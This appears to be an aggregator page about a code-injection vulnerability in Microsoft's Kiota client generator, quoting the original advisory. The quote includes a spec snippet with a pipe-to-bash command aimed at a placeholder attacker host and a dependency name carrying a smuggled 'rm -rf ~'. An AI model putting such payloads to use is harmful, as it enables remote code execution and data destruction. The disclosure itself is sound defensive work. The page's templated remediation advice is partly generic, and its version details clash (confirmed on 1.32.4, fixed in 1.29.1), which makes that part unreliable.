Categories
CVE-2026-59865

Code Injection in Microsoft.OpenApi.Kiota (CVE-2026-59865)

Summary

Code injection in Microsoft.OpenApi.Kiota (CVE-2026-59865). Risk of unauthorized operations or information disclosure. Exploitable via dependencyInstallCommand. Mitigation: upgrade to 1.29.1 or later.

Original description

The description as published by the source.

Summary

kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command
, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:

$ kiota info -d  -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation..dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]
```…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-59865 has been found in Microsoft.OpenApi.Kiota.
Attackers can target a specific entry point like dependencyInstallCommand over the network to misuse the product.
Risk of unauthorized operations or information disclosure.
What to do: upgrade Microsoft.OpenApi.Kiota to 1.29.1 or later.
If unsure, ask your IT team or search "Microsoft.OpenApi.Kiota CVE-2026-59865" on the vendor's site.

CVE-2026-59865 (Microsoft.OpenApi.Kiota) — CWE-94
Attack surface: dependencyInstallCommand / name / version
Patched: 1.29.1 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Arbitrary code execution (CWE-94) exists in Microsoft.OpenApi.Kiota. Attackers reach the vulnerable code path via dependencyInstallCommand.

📍 Affected scope

Check the vendor advisory for the affected versions of Microsoft.OpenApi.Kiota. Attack surface: dependencyInstallCommand / name / version.

🔥 Severity

Severity: ?. Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 1.29.1.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'Microsoft.OpenApi.Kiota' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'Microsoft.OpenApi.Kiota' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で Microsoft.OpenApi.Kiota を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade Microsoft.OpenApi.Kiota to 1.29.1

    ステージング環境で 1.29.1 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

nuget Microsoft.OpenApi.Kiota
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}]
nuget Microsoft.OpenApi.Kiota.Builder
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details